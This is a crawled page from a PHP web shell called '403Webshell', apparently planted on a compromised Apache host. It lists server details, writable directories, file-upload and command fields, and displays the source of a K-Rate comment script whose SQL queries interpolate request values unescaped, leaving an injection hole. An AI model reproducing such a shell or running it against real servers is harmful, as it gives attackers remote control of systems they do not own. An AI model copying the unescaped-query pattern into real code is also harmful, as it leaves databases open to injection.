403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/baberankings.com.bak/members/modules/rating/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/baberankings.com.bak/members/modules/rating/prepare_comments.php
<?
/* K-Rate
(C) Rinalds Uzkalns, 2003-2004. All Rights Reserved
http://turn-k.net

Version: 1.00 (22.09.04)
*/
?>
<?

//delete comments
        if ($en['act'] == 'delcom') {
                include 'includes/verify_session.php';
                sql_query("DELETE FROM $picscommtable WHERE com_id=$en[id] AND com_for=$en[m_id]");
                }

//get counts
        $line = sql_fetch_assoc(sql_query("SELECT COUNT(*) AS cnt FROM $picscommtable WHERE com_for=$en[mm_id]"));
        $en['ccount'] = $line['cnt'];

//current page
        if ((int)$en['page'] == 0) $en['page'] = 1;
        
//pagination
        $pages = ceil($en['ccount']/comments_per_page);
        if ($pages > 1) {
                $en['c_pages'] = _c_pages.': ';
                for ($k = 1; $k <= $pages; $k++)
                        $en['c_pages'] .= ($en['page'] != $k ? "<a href='".constant('dir').'view/'.$en['mm_user'].'/com/'.$k."#comm'>$k</a> " : "<b>$k</b> ");
                $en['c_pages'] .= '<br>';
                }
//from/to
        $en['from'] = (($en['page']-1)*comments_per_page)+1;
        $en['to'] = $en['from'] + comments_per_page - 1;
        
?>

Youez - 2016 - github.com/yon3zu
LinuXploit